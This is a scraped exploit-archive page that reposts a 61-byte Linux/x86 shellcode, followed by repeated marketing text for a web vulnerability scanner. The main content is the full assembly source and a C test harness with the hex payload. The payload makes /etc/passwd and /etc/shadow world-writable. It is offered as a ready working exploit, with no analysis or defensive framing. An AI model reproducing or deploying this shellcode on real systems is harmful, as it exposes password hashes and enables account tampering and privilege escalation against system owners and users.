linuxx86 chmod 666 etcpasswd & chmod 666 etcshadow shellcode (61 bytes)

▸▸▸ Exploit & Vulnerability >>   shellcode exploit & linux_x86 vulnerability




linuxx86 chmod 666 etcpasswd & chmod 666 etcshadow shellcode (61 bytes) Code Code...
				
# Exploit Title: Linux/x86 - chmod 666 /etc/passwd & chmod 666 /etc/shadow (61 bytes) # Date: 10/07/2019 # Exploit Author: Xavier Invers Fornells # Contact: x4v1s3c@gmail.com # Tested on: Debian 4.19.28 # Architecture: x86 # Size: 61 bytes #################################### chmod.nasm #################################### global _start section .text _start: push byte 15 pop eax push byte 0x64 push word 0x7773 push 0x7361702f push 0x6374652f mov ebx, esp push word 0x1b6 pop ecx int 0x80 push byte 15 pop eax push byte 0x77 push word 0x6f64 push 0x6168732f push 0x6374652f mov ebx, esp push word 0x1b6 pop ecx int 0x80 push byte 1 pop eax int 0x80 #################################### shellcode.c #################################### #include<stdio.h> #include<string.h> unsigned char code[] = \ "\x6a\x0f\x58\x6a\x64\x66\x68\x73\x77\x68\x2f\x70\x61\x73\x68\x2f\x65\x74\x63\x89\xe3\x66\x68\xb6\x01\x59\xcd\x80\x6a\x0f\x58\x6a\x77\x66\x68\x64\x6f\x68\x2f\x73\x68\x61\x68\x2f\x65\x74\x63\x89\xe3\x66\x68\xb6\x01\x59\xcd\x80\x6a\x01\x58\xcd\x80"; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }

Linuxx86 chmod 666 etcpasswd & chmod 666 etcshadow shellcode (61 bytes) Vulnerability / Exploit Source : Linuxx86 chmod 666 etcpasswd & chmod 666 etcshadow shellcode (61 bytes)



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.